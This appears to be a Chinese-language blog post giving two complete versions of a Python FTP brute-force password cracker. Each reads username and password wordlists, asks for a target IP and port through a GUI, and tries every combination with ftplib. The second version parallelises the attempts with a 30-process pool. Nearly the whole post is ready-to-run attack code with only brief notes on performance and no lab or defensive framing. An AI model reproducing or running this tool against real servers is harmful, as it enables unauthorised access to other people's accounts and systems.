0x00 第一版:
这一版没有使用线程池,当字典过大的时候就会出现子线程过多,导致内存,CPU等爆满。
import easygui as gui #导入ui
import ftplib #导入ftp模块
from multiprocessing import Process,Queue #引入多线程机制
import time
def info_get(): #获取爆破信息参数
title="FTP暴力猜解"
message=['请选择用户文件','请选择密码文件','请输入要猜解的主机ip','请输入端口号(默认21)']
user_path=gui.fileopenbox(message[0],title)
pass_path=gui.fileopenbox(message[1],title)
ip=gui.enterbox(message[2],title)
port=gui.enterbox(message[3],title)
if user_path!=None and pass_path!=None and ip!=None and port!=None:
return (user_path,pass_path,ip,port)
else:
user_path="./user.txt"
pass_path="pass.txt"
ip="127.0.0.1"
port="21"
return (user_path,pass_path,ip,port)
def ftp_crack(user,pass1,ip,port,queue=None):
message=("cannot connect Host","user or pass error!","crack success!!!") #定义异常输出信息
ftp=ftplib.FTP()
#主机连接失败
try:
ftp.connect(ip, port, timeout=30)
except:
queue.put((message[0],user,pass1)) #使用队列将结果存储并返回
return
#账号1密码错误
try:
ftp.login(user,pass1)
except ftplib.error_perm:
queue.put((message[1],user,pass1))
return
else:
queue.put((message[2],user,pass1))
return
def main():
#首先获取爆破信息
info=info_get()
if info[2]=="127.0.0.1":
print("请输入正确的IP信息")
exit(0)
else:
#信息获取正确,开始准备爆破
queue = Queue() # 进程通信队列
fp_user=open(info[0],"r",encoding="utf-8")
fp_pass=open(info[1],"r",encoding="utf-8")
ip=info[2]
port=int(info[3])
for each_line_user in fp_user:
each_line_user=each_line_user.strip("\n") #去掉换行符
fp_pass.seek(0,0) #文件指针复原,否则无法再从头读取
for each_line_pass in fp_pass:
each_line_pass = each_line_pass.strip("\n") #去掉换行符
print("testing........."+each_line_user+":"+each_line_pass)
ftp_crack1=Process(target=ftp_crack,args=(each_line_user,each_line_pass,ip,port,queue)) #创建线程
ftp_crack1.start() #开启线程
time.sleep(2) #如果不采用休眠,当所有的子线程全部开启之后,队列中可能还没有结果,导致整个主线程结束。
print("**************************************爆破结果****************************************")
#循环读取队列结果并显示
right=[]
while True:
if queue.empty():
break
else:
tmp=queue.get()
if tmp[0]=="crack success!!!":
right=(tmp[0],tmp[1],tmp[2])
else:
print(tmp[1]+":"+tmp[2]+"------>"+tmp[0])
if right:
print(right[1]+":"+right[2]+"------->"+right[0])
else:
print("crack fail!!!!")
if __name__=="__main__":
main()
0x01 第二版
采用线程池,限制子线程个数,使用队列保存猜解出来的口令。
import easygui as gui #导入ui
import ftplib #导入ftp模块
from multiprocessing import Pool,Manager #引入多线程机制
def info_get(): #获取爆破信息参数
title="FTP暴力猜解"
message=['请选择用户文件','请选择密码文件','请输入要猜解的主机ip','请输入端口号(默认21)']
user_path=gui.fileopenbox(message[0],title)
pass_path=gui.fileopenbox(message[1],title)
ip=gui.enterbox(message[2],title)
port=gui.enterbox(message[3],title)
if user_path!=None and pass_path!=None and ip!=None and port!=None:
return (user_path,pass_path,ip,port)
else:
user_path="./user.txt"
pass_path="pass.txt"
ip="127.0.0.1"
port="21"
return (user_path,pass_path,ip,port)
def ftp_crack(user,pass1,ip,port,queue=None): #ftp连接测试
message=("cannot connect Host","user or pass error!","crack success!!!") #定义异常输出信息
ftp=ftplib.FTP()
#主机连接失败
try:
ftp.connect(ip, port, timeout=30)
except:
print(user+":"+pass1+"----------->"+message[0])
return
#账号1密码错误
try:
ftp.login(user,pass1)
except ftplib.error_perm:
print(user+":"+pass1+":"+"------------>"+message[1])
return
else:
print("***************************************************")
print("*"+user+":"+pass1+"---------------->"+message[2]+"*")
print("***************************************************")
queue.put((message[2],user,pass1)) #强行使用一波队列,熟悉一下
return
def main():
#首先获取爆破信息
info=info_get()
if info[2]=="127.0.0.1":
print("请输入正确的IP信息")
exit(0)
else:
#信息获取正确,开始准备爆破
pool=Pool(30) #创建进程池,避免进程太多占用内存
queue = Manager().Queue() # 进程池通信队列,用于进程池中进程通信
fp_user=open(info[0],"r",encoding="utf-8")
fp_pass=open(info[1],"r",encoding="utf-8") #打开账号密码文件
ip=info[2]
port=int(info[3])
for each_line_user in fp_user:
each_line_user=each_line_user.strip("\n") #去掉换行符
fp_pass.seek(0,0) #文件指针复原,否则无法再从头读取
for each_line_pass in fp_pass:
each_line_pass = each_line_pass.strip("\n") #去掉换行符
print("testing........."+each_line_user+":"+each_line_pass)
next_wait=pool.apply_async(ftp_crack,args=(each_line_user,each_line_pass,ip,port,queue)) #创建线程
next_wait.wait() #让下一组测试等待上一组完全结束再开始
pool.close() #全部组合结束,将进程池关闭,不再接收新任务
pool.join() #d等待全部进程结束
result=[]
while True:
if not queue.empty():
result=queue.get()
print("!!!crack success!!!")
print(result[1]+":"+result[2]+"----------->"+result[0])
break
else:
print("crack fail! Can't find the right user and pass")
break
if __name__=="__main__":
main()